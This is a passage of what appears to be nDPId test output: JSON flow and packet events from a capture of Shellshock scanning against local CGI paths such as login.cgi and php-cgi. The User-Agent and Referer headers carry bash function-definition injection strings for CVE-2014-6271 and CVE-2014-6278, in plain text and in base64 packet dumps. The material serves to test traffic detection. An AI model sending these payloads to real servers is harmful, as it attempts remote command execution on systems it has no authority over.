{"hostname":"127.0.0.1","url":"127.0.0.1\/index.pl","code":0,"content_type":"","user_agent":"() { :; }; echo 93e4r0-CVE-2014-6271: true;echo;echo;"}} +00479{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":464,"source":"WebattackRCE.pcap","alias":"nDPId-test","flow_id":464,"flow_packet_id":1,"flow_first_seen":1576420277420,"flow_last_seen":0,"flow_tot_l4_data_len":245,"flow_min_l4_data_len":245,"flow_max_l4_data_len":245,"flow_avg_l4_data_len":245,"midstream":1,"l3_proto":"ip4","src_ip":"127.0.0.1","dst_ip":"127.0.0.1","src_port":50490,"dst_port":8080,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00722{"flow_id":464,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":464,"source":"WebattackRCE.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1576420277,"pkt_ts_usec":420755,"pkt_caplen":279,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":279,"pkt_l4_len":245,"pkt":"AAAAAAAAAAAAAAAACABFAAEJZRVAAEAG1td\/AAABfwAAAcU6H5C6AV3ZPf\/xToAYAED+\/QAAAQEICp1m\/dSdZv3UR0VUIC9pbmZvLmNnaSBIVFRQLzEuMQ0KQ29ubmVjdGlvbjogS2VlcC1BbGl2ZQ0KVXNlci1BZ2VudDogKCkgeyA6OyB9OyBlY2hvIDkzZTRyMC1DVkUtMjAxNC02MjcxOiB0cnVlO2VjaG87ZWNobzsNClJlZmVyZXI6ICgpIHsgXzsgfSA+X1skKCQoKSldIHsgZWNobyA5M2U0cjAtQ1ZFLTIwMTQtNjI3ODogdHJ1ZTsgZWNobztlY2hvOyB9DQpIb3N0OiAxMjcuMC4wLjENCg0K"} +00786{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":464,"source":"WebattackRCE.pcap","alias":"nDPId-test","flow_id":464,"flow_packet_id":1,"flow_first_seen":1576420277420,"flow_last_seen":0,"flow_tot_l4_data_len":245,"flow_min_l4_data_len":245,"flow_max_l4_data_len":245,"flow_avg_l4_data_len":245,"midstream":1,"l3_proto":"ip4","src_ip":"127.0.0.1","dst_ip":"127.0.0.1","src_port":50490,"dst_port":8080,"l4_proto":"tcp","ndpi": {"flow_risk": {"5":"Known protocol on non standard port","11":"HTTP Suspicious User-Agent","12":"HTTP Numeric IP Address"},"proto":"HTTP","breed":"Acceptable","category":"Web"},"http": {"hostname":"127.0.0.1","url":"127.0.0.1\/info.cgi","code":0,"content_type":"","user_agent":"() { :; }; echo 93e4r0-CVE-2014-6271: true;echo;echo;"}} +00479{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":465,"source":"WebattackRCE.pcap","alias":"nDPId-test","flow_id":465,"flow_packet_id":1,"flow_first_seen":1576420277422,"flow_last_seen":0,"flow_tot_l4_data_len":244,"flow_min_l4_data_len":244,"flow_max_l4_data_len":244,"flow_avg_l4_data_len":244,"midstream":1,"l3_proto":"ip4","src_ip":"127.0.0.1","dst_ip":"127.0.0.1","src_port":50492,"dst_port":8080,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00721{"flow_id":465,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":465,"source":"WebattackRCE.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1576420277,"pkt_ts_usec":422349,"pkt_caplen":278,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":278,"pkt_l4_len":244,"pkt":"AAAAAAAAAAAAAAAACABFAAEI0gtAAEAGaeJ\/AAABfwAAAcU8H5DcN+rDzEDc2oAYAED+\/AAAAQEICp1m\/dadZv3WR0VUIC9pbmZvLnNoIEhUVFAvMS4xDQpIb3N0OiAxMjcuMC4wLjENClJlZmVyZXI6ICgpIHsgXzsgfSA+X1skKCQoKSldIHsgZWNobyA5M2U0cjAtQ1ZFLTIwMTQtNjI3ODogdHJ1ZTsgZWNobztlY2hvOyB9DQpDb25uZWN0aW9uOiBLZWVwLUFsaXZlDQpVc2VyLUFnZW50OiAoKSB7IDo7IH07IGVjaG8gOTNlNHIwLUNWRS0yMDE0LTYyNzE6IHRydWU7ZWNobztlY2hvOw0KDQo="} +00785{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":465,"source":"WebattackRCE.pcap","alias":"nDPId-test","flow_id":465,"flow_packet_id":1,"flow_first_seen":1576420277422,"flow_last_seen":0,"flow_tot_l4_data_len":244,"flow_min_l4_data_len":244,"flow_max_l4_data_len":244,"flow_avg_l4_data_len":244,"midstream":1,"l3_proto":"ip4","src_ip":"127.0.0.1","dst_ip":"127.0.0.1","src_port":50492,"dst_port":8080,"l4_proto":"tcp","ndpi": {"flow_risk": {"5":"Known protocol on non standard port","11":"HTTP Suspicious User-Agent","12":"HTTP Numeric IP Address"},"proto":"HTTP","breed":"Acceptable","category":"Web"},"http": {"hostname":"127.0.0.1","url":"127.0.0.1\/info.sh","code":0,"content_type":"","user_agent":"() { :; }; echo 93e4r0-CVE-2014-6271: true;echo;echo;"}} +00479{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":466,"source":"WebattackRCE.pcap","alias":"nDPId-test","flow_id":466,"flow_packet_id":1,"flow_first_seen":1576420277423,"flow_last_seen":0,"flow_tot_l4_data_len":249,"flow_min_l4_data_len":249,"flow_max_l4_data_len":249,"flow_avg_l4_data_len":249,"midstream":1,"l3_proto":"ip4","src_ip":"127.0.0.1","dst_ip":"127.0.0.1","src_port":50494,"dst_port":8080,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00729{"flow_id":466,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":466,"source":"WebattackRCE.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1576420277,"pkt_ts_usec":423701,"pkt_caplen":283,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":283,"pkt_l4_len":249,"pkt":"AAAAAAAAAAAAAAAACABFAAENVqhAAEAG5UB\/AAABfwAAAcU+H5CeOW5utt+cAoAYAED\/AQAAAQEICp1m\/dedZv3XR0VUIC9sb2FkcGFnZS5jZ2kgSFRUUC8xLjENCkhvc3Q6IDEyNy4wLjAuMQ0KUmVmZXJlcjogKCkgeyBfOyB9ID5fWyQoJCgpKV0geyBlY2hvIDkzZTRyMC1DVkUtMjAxNC02Mjc4OiB0cnVlOyBlY2hvO2VjaG87IH0NClVzZXItQWdlbnQ6ICgpIHsgOjsgfTsgZWNobyA5M2U0cjAtQ1ZFLTIwMTQtNjI3MTogdHJ1ZTtlY2hvO2VjaG87DQpDb25uZWN0aW9uOiBLZWVwLUFsaXZlDQoNCg=="} +00790{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":466,"source":"WebattackRCE.pcap","alias":"nDPId-test","flow_id":466,"flow_packet_id":1,"flow_first_seen":1576420277423,"flow_last_seen":0,"flow_tot_l4_data_len":249,"flow_min_l4_data_len":249,"flow_max_l4_data_len":249,"flow_avg_l4_data_len":249,"midstream":1,"l3_proto":"ip4","src_ip":"127.0.0.1","dst_ip":"127.0.0.1","src_port":50494,"dst_port":8080,"l4_proto":"tcp","ndpi": {"flow_risk": {"5":"Known protocol on non standard port","11":"HTTP Suspicious User-Agent","12":"HTTP Numeric IP Address"},"proto":"HTTP","breed":"Acceptable","category":"Web"},"http": {"hostname":"127.0.0.1","url":"127.0.0.1\/loadpage.cgi","code":0,"content_type":"","user_agent":"() { :; }; echo 93e4r0-CVE-2014-6271: true;echo;echo;"}} +00479{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":467,"source":"WebattackRCE.pcap","alias":"nDPId-test","flow_id":467,"flow_packet_id":1,"flow_first_seen":1576420277425,"flow_last_seen":0,"flow_tot_l4_data_len":246,"flow_min_l4_data_len":246,"flow_max_l4_data_len":246,"flow_avg_l4_data_len":246,"midstream":1,"l3_proto":"ip4","src_ip":"127.0.0.1","dst_ip":"127.0.0.1","src_port":50496,"dst_port":8080,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00725{"flow_id":467,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":467,"source":"WebattackRCE.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1576420277,"pkt_ts_usec":425039,"pkt_caplen":280,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":280,"pkt_l4_len":246,"pkt":"AAAAAAAAAAAAAAAACABFAAEKJkVAAEAGFad\/AAABfwAAAcVAH5DPeB6QOQhEGoAYAED+\/gAAAQEICp1m\/didZv3YR0VUIC9sb2dpbi5jZ2kgSFRUUC8xLjENCkhvc3Q6IDEyNy4wLjAuMQ0KUmVmZXJlcjogKCkgeyBfOyB9ID5fWyQoJCgpKV0geyBlY2hvIDkzZTRyMC1DVkUtMjAxNC02Mjc4OiB0cnVlOyBlY2hvO2VjaG87IH0NClVzZXItQWdlbnQ6ICgpIHsgOjsgfTsgZWNobyA5M2U0cjAtQ1ZFLTIwMTQtNjI3MTogdHJ1ZTtlY2hvO2VjaG87DQpDb25uZWN0aW9uOiBLZWVwLUFsaXZlDQoNCg=="} +00787{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":467,"source":"WebattackRCE.pcap","alias":"nDPId-test","flow_id":467,"flow_packet_id":1,"flow_first_seen":1576420277425,"flow_last_seen":0,"flow_tot_l4_data_len":246,"flow_min_l4_data_len":246,"flow_max_l4_data_len":246,"flow_avg_l4_data_len":246,"midstream":1,"l3_proto":"ip4","src_ip":"127.0.0.1","dst_ip":"127.0.0.1","src_port":50496,"dst_port":8080,"l4_proto":"tcp","ndpi": {"flow_risk": {"5":"Known protocol on non standard port","11":"HTTP Suspicious User-Agent","12":"HTTP Numeric IP Address"},"proto":"HTTP","breed":"Acceptable","category":"Web"},"http": {"hostname":"127.0.0.1","url":"127.0.0.1\/login.cgi","code":0,"content_type":"","user_agent":"() { :; }; echo 93e4r0-CVE-2014-6271: true;echo;echo;"}} +00479{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":468,"source":"WebattackRCE.pcap","alias":"nDPId-test","flow_id":468,"flow_packet_id":1,"flow_first_seen":1576420277426,"flow_last_seen":0,"flow_tot_l4_data_len":246,"flow_min_l4_data_len":246,"flow_max_l4_data_len":246,"flow_avg_l4_data_len":246,"midstream":1,"l3_proto":"ip4","src_ip":"127.0.0.1","dst_ip":"127.0.0.1","src_port":50498,"dst_port":8080,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00725{"flow_id":468,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":468,"source":"WebattackRCE.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1576420277,"pkt_ts_usec":426469,"pkt_caplen":280,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":280,"pkt_l4_len":246,"pkt":"AAAAAAAAAAAAAAAACABFAAEKG0lAAEAGIKN\/AAABfwAAAcVCH5Dr2SOM+8VpkIAYAED+\/gAAAQEICp1m\/dqdZv3aR0VUIC9sb2dpbi5waHAgSFRUUC8xLjENCkNvbm5lY3Rpb246IEtlZXAtQWxpdmUNClVzZXItQWdlbnQ6ICgpIHsgOjsgfTsgZWNobyA5M2U0cjAtQ1ZFLTIwMTQtNjI3MTogdHJ1ZTtlY2hvO2VjaG87DQpIb3N0OiAxMjcuMC4wLjENClJlZmVyZXI6ICgpIHsgXzsgfSA+X1skKCQoKSldIHsgZWNobyA5M2U0cjAtQ1ZFLTIwMTQtNjI3ODogdHJ1ZTsgZWNobztlY2hvOyB9DQoNCg=="} +00787{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":468,"source":"WebattackRCE.pcap","alias":"nDPId-test","flow_id":468,"flow_packet_id":1,"flow_first_seen":1576420277426,"flow_last_seen":0,"flow_tot_l4_data_len":246,"flow_min_l4_data_len":246,"flow_max_l4_data_len":246,"flow_avg_l4_data_len":246,"midstream":1,"l3_proto":"ip4","src_ip":"127.0.0.1","dst_ip":"127.0.0.1","src_port":50498,"dst_port":8080,"l4_proto":"tcp","ndpi": {"flow_risk": {"5":"Known protocol on non standard port","11":"HTTP Suspicious User-Agent","12":"HTTP Numeric IP Address"},"proto":"HTTP","breed":"Acceptable","category":"Web"},"http": {"hostname":"127.0.0.1","url":"127.0.0.1\/login.php","code":0,"content_type":"","user_agent":"() { :; }; echo 93e4r0-CVE-2014-6271: true;echo;echo;"}} +00479{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":469,"source":"WebattackRCE.pcap","alias":"nDPId-test","flow_id":469,"flow_packet_id":1,"flow_first_seen":1576420277428,"flow_last_seen":0,"flow_tot_l4_data_len":245,"flow_min_l4_data_len":245,"flow_max_l4_data_len":245,"flow_avg_l4_data_len":245,"midstream":1,"l3_proto":"ip4","src_ip":"127.0.0.1","dst_ip":"127.0.0.1","src_port":50500,"dst_port":8080,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00723{"flow_id":469,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":469,"source":"WebattackRCE.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1576420277,"pkt_ts_usec":428767,"pkt_caplen":279,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":279,"pkt_l4_len":245,"pkt":"AAAAAAAAAAAAAAAACABFAAEJsHVAAEAGi3d\/AAABfwAAAcVEH5DgV4i\/xF\/y64AYAED+\/QAAAQEICp1m\/dydZv3cR0VUIC9sb2dpbi5wbCBIVFRQLzEuMQ0KSG9zdDogMTI3LjAuMC4xDQpSZWZlcmVyOiAoKSB7IF87IH0gPl9bJCgkKCkpXSB7IGVjaG8gOTNlNHIwLUNWRS0yMDE0LTYyNzg6IHRydWU7IGVjaG87ZWNobzsgfQ0KQ29ubmVjdGlvbjogS2VlcC1BbGl2ZQ0KVXNlci1BZ2VudDogKCkgeyA6OyB9OyBlY2hvIDkzZTRyMC1DVkUtMjAxNC02MjcxOiB0cnVlO2VjaG87ZWNobzsNCg0K"} +00786{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":469,"source":"WebattackRCE.pcap","alias":"nDPId-test","flow_id":469,"flow_packet_id":1,"flow_first_seen":1576420277428,"flow_last_seen":0,"flow_tot_l4_data_len":245,"flow_min_l4_data_len":245,"flow_max_l4_data_len":245,"flow_avg_l4_data_len":245,"midstream":1,"l3_proto":"ip4","src_ip":"127.0.0.1","dst_ip":"127.0.0.1","src_port":50500,"dst_port":8080,"l4_proto":"tcp","ndpi": {"flow_risk": {"5":"Known protocol on non standard port","11":"HTTP Suspicious User-Agent","12":"HTTP Numeric IP Address"},"proto":"HTTP","breed":"Acceptable","category":"Web"},"http": {"hostname":"127.0.0.1","url":"127.0.0.1\/login.pl","code":0,"content_type":"","user_agent":"() { :; }; echo 93e4r0-CVE-2014-6271: true;echo;echo;"}} +00479{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":470,"source":"WebattackRCE.pcap","alias":"nDPId-test","flow_id":470,"flow_packet_id":1,"flow_first_seen":1576420277429,"flow_last_seen":0,"flow_tot_l4_data_len":248,"flow_min_l4_data_len":248,"flow_max_l4_data_len":248,"flow_avg_l4_data_len":248,"midstream":1,"l3_proto":"ip4","src_ip":"127.0.0.1","dst_ip":"127.0.0.1","src_port":50502,"dst_port":8080,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00725{"flow_id":470,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":470,"source":"WebattackRCE.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1576420277,"pkt_ts_usec":429957,"pkt_caplen":282,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":282,"pkt_l4_len":248,"pkt":"AAAAAAAAAAAAAAAACABFAAEMTIBAAEAG72l\/AAABfwAAAcVGH5AiwXS0u+SpZoAYAED\/AAAAAQEICp1m\/d2dZv3dR0VUIC9wYXRodGVzdC5wbCBIVFRQLzEuMQ0KQ29ubmVjdGlvbjogS2VlcC1BbGl2ZQ0KVXNlci1BZ2VudDogKCkgeyA6OyB9OyBlY2hvIDkzZTRyMC1DVkUtMjAxNC02MjcxOiB0cnVlO2VjaG87ZWNobzsNCkhvc3Q6IDEyNy4wLjAuMQ0KUmVmZXJlcjogKCkgeyBfOyB9ID5fWyQoJCgpKV0geyBlY2hvIDkzZTRyMC1DVkUtMjAxNC02Mjc4OiB0cnVlOyBlY2hvO2VjaG87IH0NCg0K"} +00789{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":470,"source":"WebattackRCE.pcap","alias":"nDPId-test","flow_id":470,"flow_packet_id":1,"flow_first_seen":1576420277429,"flow_last_seen":0,"flow_tot_l4_data_len":248,"flow_min_l4_data_len":248,"flow_max_l4_data_len":248,"flow_avg_l4_data_len":248,"midstream":1,"l3_proto":"ip4","src_ip":"127.0.0.1","dst_ip":"127.0.0.1","src_port":50502,"dst_port":8080,"l4_proto":"tcp","ndpi": {"flow_risk": {"5":"Known protocol on non standard port","11":"HTTP Suspicious User-Agent","12":"HTTP Numeric IP Address"},"proto":"HTTP","breed":"Acceptable","category":"Web"},"http": {"hostname":"127.0.0.1","url":"127.0.0.1\/pathtest.pl","code":0,"content_type":"","user_agent":"() { :; }; echo 93e4r0-CVE-2014-6271: true;echo;echo;"}} +00479{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":471,"source":"WebattackRCE.pcap","alias":"nDPId-test","flow_id":471,"flow_packet_id":1,"flow_first_seen":1576420277431,"flow_last_seen":0,"flow_tot_l4_data_len":240,"flow_min_l4_data_len":240,"flow_max_l4_data_len":240,"flow_avg_l4_data_len":240,"midstream":1,"l3_proto":"ip4","src_ip":"127.0.0.1","dst_ip":"127.0.0.1","src_port":50504,"dst_port":8080,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00716{"flow_id":471,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":471,"source":"WebattackRCE.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1576420277,"pkt_ts_usec":431101,"pkt_caplen":274,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":274,"pkt_l4_len":240,"pkt":"AAAAAAAAAAAAAAAACABFAAEE5XFAAEAGVoB\/AAABfwAAAcVIH5CqQt2jzObFZYAYAED++AAAAQEICp1m\/d+dZv3eR0VUIC9waHAgSFRUUC8xLjENCkhvc3Q6IDEyNy4wLjAuMQ0KUmVmZXJlcjogKCkgeyBfOyB9ID5fWyQoJCgpKV0geyBlY2hvIDkzZTRyMC1DVkUtMjAxNC02Mjc4OiB0cnVlOyBlY2hvO2VjaG87IH0NClVzZXItQWdlbnQ6ICgpIHsgOjsgfTsgZWNobyA5M2U0cjAtQ1ZFLTIwMTQtNjI3MTogdHJ1ZTtlY2hvO2VjaG87DQpDb25uZWN0aW9uOiBLZWVwLUFsaXZlDQoNCg=="} +00781{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":471,"source":"WebattackRCE.pcap","alias":"nDPId-test","flow_id":471,"flow_packet_id":1,"flow_first_seen":1576420277431,"flow_last_seen":0,"flow_tot_l4_data_len":240,"flow_min_l4_data_len":240,"flow_max_l4_data_len":240,"flow_avg_l4_data_len":240,"midstream":1,"l3_proto":"ip4","src_ip":"127.0.0.1","dst_ip":"127.0.0.1","src_port":50504,"dst_port":8080,"l4_proto":"tcp","ndpi": {"flow_risk": {"5":"Known protocol on non standard port","11":"HTTP Suspicious User-Agent","12":"HTTP Numeric IP Address"},"proto":"HTTP","breed":"Acceptable","category":"Web"},"http": {"hostname":"127.0.0.1","url":"127.0.0.1\/php","code":0,"content_type":"","user_agent":"() { :; }; echo 93e4r0-CVE-2014-6271: true;echo;echo;"}} +00479{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":472,"source":"WebattackRCE.pcap","alias":"nDPId-test","flow_id":472,"flow_packet_id":1,"flow_first_seen":1576420277432,"flow_last_seen":0,"flow_tot_l4_data_len":241,"flow_min_l4_data_len":241,"flow_max_l4_data_len":241,"flow_avg_l4_data_len":241,"midstream":1,"l3_proto":"ip4","src_ip":"127.0.0.1","dst_ip":"127.0.0.1","src_port":50506,"dst_port":8080,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00716{"flow_id":472,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":472,"source":"WebattackRCE.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1576420277,"pkt_ts_usec":432249,"pkt_caplen":275,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":275,"pkt_l4_len":241,"pkt":"AAAAAAAAAAAAAAAACABFAAEFeJtAAEAGw1V\/AAABfwAAAcVKH5AUwUBY1pIiyIAYAED++QAAAQEICp1m\/eCdZv3gR0VUIC9waHA0IEhUVFAvMS4xDQpIb3N0OiAxMjcuMC4wLjENClJlZmVyZXI6ICgpIHsgXzsgfSA+X1skKCQoKSldIHsgZWNobyA5M2U0cjAtQ1ZFLTIwMTQtNjI3ODogdHJ1ZTsgZWNobztlY2hvOyB9DQpDb25uZWN0aW9uOiBLZWVwLUFsaXZlDQpVc2VyLUFnZW50OiAoKSB7IDo7IH07IGVjaG8gOTNlNHIwLUNWRS0yMDE0LTYyNzE6IHRydWU7ZWNobztlY2hvOw0KDQo="} +00782{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":472,"source":"WebattackRCE.pcap","alias":"nDPId-test","flow_id":472,"flow_packet_id":1,"flow_first_seen":1576420277432,"flow_last_seen":0,"flow_tot_l4_data_len":241,"flow_min_l4_data_len":241,"flow_max_l4_data_len":241,"flow_avg_l4_data_len":241,"midstream":1,"l3_proto":"ip4","src_ip":"127.0.0.1","dst_ip":"127.0.0.1","src_port":50506,"dst_port":8080,"l4_proto":"tcp","ndpi": {"flow_risk": {"5":"Known protocol on non standard port","11":"HTTP Suspicious User-Agent","12":"HTTP Numeric IP Address"},"proto":"HTTP","breed":"Acceptable","category":"Web"},"http": {"hostname":"127.0.0.1","url":"127.0.0.1\/php4","code":0,"content_type":"","user_agent":"() { :; }; echo 93e4r0-CVE-2014-6271: true;echo;echo;"}} +00479{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":473,"source":"WebattackRCE.pcap","alias":"nDPId-test","flow_id":473,"flow_packet_id":1,"flow_first_seen":1576420277433,"flow_last_seen":0,"flow_tot_l4_data_len":241,"flow_min_l4_data_len":241,"flow_max_l4_data_len":241,"flow_avg_l4_data_len":241,"midstream":1,"l3_proto":"ip4","src_ip":"127.0.0.1","dst_ip":"127.0.0.1","src_port":50508,"dst_port":8080,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00716{"flow_id":473,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":473,"source":"WebattackRCE.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1576420277,"pkt_ts_usec":433508,"pkt_caplen":275,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":275,"pkt_l4_len":241,"pkt":"AAAAAAAAAAAAAAAACABFAAEFSMVAAEAG8yt\/AAABfwAAAcVMH5DeS3AOoHbKrYAYAED++QAAAQEICp1m\/eGdZv3hR0VUIC9waHA1IEhUVFAvMS4xDQpSZWZlcmVyOiAoKSB7IF87IH0gPl9bJCgkKCkpXSB7IGVjaG8gOTNlNHIwLUNWRS0yMDE0LTYyNzg6IHRydWU7IGVjaG87ZWNobzsgfQ0KSG9zdDogMTI3LjAuMC4xDQpVc2VyLUFnZW50OiAoKSB7IDo7IH07IGVjaG8gOTNlNHIwLUNWRS0yMDE0LTYyNzE6IHRydWU7ZWNobztlY2hvOw0KQ29ubmVjdGlvbjogS2VlcC1BbGl2ZQ0KDQo="} +00782{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":473,"source":"WebattackRCE.pcap","alias":"nDPId-test","flow_id":473,"flow_packet_id":1,"flow_first_seen":1576420277433,"flow_last_seen":0,"flow_tot_l4_data_len":241,"flow_min_l4_data_len":241,"flow_max_l4_data_len":241,"flow_avg_l4_data_len":241,"midstream":1,"l3_proto":"ip4","src_ip":"127.0.0.1","dst_ip":"127.0.0.1","src_port":50508,"dst_port":8080,"l4_proto":"tcp","ndpi": {"flow_risk": {"5":"Known protocol on non standard port","11":"HTTP Suspicious User-Agent","12":"HTTP Numeric IP Address"},"proto":"HTTP","breed":"Acceptable","category":"Web"},"http": {"hostname":"127.0.0.1","url":"127.0.0.1\/php5","code":0,"content_type":"","user_agent":"() { :; }; echo 93e4r0-CVE-2014-6271: true;echo;echo;"}} +00479{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":474,"source":"WebattackRCE.pcap","alias":"nDPId-test","flow_id":474,"flow_packet_id":1,"flow_first_seen":1576420277434,"flow_last_seen":0,"flow_tot_l4_data_len":244,"flow_min_l4_data_len":244,"flow_max_l4_data_len":244,"flow_avg_l4_data_len":244,"midstream":1,"l3_proto":"ip4","src_ip":"127.0.0.1","dst_ip":"127.0.0.1","src_port":50510,"dst_port":8080,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00721{"flow_id":474,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":474,"source":"WebattackRCE.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1576420277,"pkt_ts_usec":434806,"pkt_caplen":278,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":278,"pkt_l4_len":244,"pkt":"AAAAAAAAAAAAAAAACABFAAEI0WFAAEAGaox\/AAABfwAAAcVOH5BRy+mS7UbDZYAYAED+\/AAAAQEICp1m\/eKdZv3iR0VUIC9waHAtY2dpIEhUVFAvMS4xDQpSZWZlcmVyOiAoKSB7IF87IH0gPl9bJCgkKCkpXSB7IGVjaG8gOTNlNHIwLUNWRS0yMDE0LTYyNzg6IHRydWU7IGVjaG87ZWNobzsgfQ0KSG9zdDogMTI3LjAuMC4xDQpDb25uZWN0aW9uOiBLZWVwLUFsaXZlDQpVc2VyLUFnZW50OiAoKSB7IDo7IH07IGVjaG8gOTNlNHIwLUNWRS0yMDE0LTYyNzE6IHRydWU7ZWNobztlY2hvOw0KDQo="} +00785{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":474,"source":"WebattackRCE.pcap","alias":"nDPId-test","flow_id":474,"flow_packet_id":1,"flow_first_seen":1576420277434,"flow_last_seen":0,"flow_tot_l4_data_len":244,"flow_min_l4_data_len":244,"flow_max_l4_data_len":244,"flow_avg_l4_data_len":244,"midstream":1,"l3_proto":"ip4","src_ip":"127.0.0.1","dst_ip":"127.0.0.1","src_port":50510,"dst_port":8080,"l4_proto":"tcp","ndpi": {"flow_risk": {"5":"Known protocol on non standard port","11":"HTTP Suspicious User-Agent","12":"HTTP Numeric IP Address"},"proto":"HTTP","breed":"Acceptable","category":"Web"},"http": {"hostname":"127.0.0.1","url":"127.0.0.1\/php-cgi","code":0,"content_type":"","user_agent":"() { :; }; echo 93e4r0-CVE-2014-6271: true;echo;echo;"}} +00479{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":475,"source":"WebattackRCE.pcap","alias":"nDPId-test","flow_id":475,"flow_packet_id":1,"flow_first_seen":1576420277436,"flow_last_seen":0,"flow_tot_l4_data_len":244,"flow_min_l4_data_len":244,"flow_max_l4_data_len":244,"flow_avg_l4_data_len":244,"midstream":1,"l3_proto":"ip4","src_ip":"127.0.0.1","dst_ip":"127.0.0.1","src_port":50512,"dst_port":8080,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00721{"flow_id":475,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":475,"source":"WebattackRCE.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1576420277,"pkt_ts_usec":436058,"pkt_caplen":278,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":278,"pkt_l4_len":244,"pkt":"AAAAAAAAAAAAAAAACABFAAEIqnVAAEAGkXh\/AAABfwAAAcVQH5Bll5K9uysWxoAYAED+\/AAAAQEICp1m\/eOdZv3jR0VUIC9waHAuY2dpIEhUVFAvMS4xDQpIb3N0OiAxMjcuMC4wLjENClJlZmVyZXI6ICgpIHsgXzsgfSA+X1skKCQoKSldIHsgZWNobyA5M2U0cjAtQ1ZFLTIwMTQtNjI3ODogdHJ1ZTsgZWNobztlY2hvOyB9DQpDb25uZWN0aW9uOiBLZWVwLUFsaXZlDQpVc2VyLUFnZW50OiAoKSB7IDo7IH07IGVjaG8gOTNlNHIwLUNWRS0yMDE0LTYyNzE6IHRydWU7ZWNobztlY2hvOw0KDQo="} 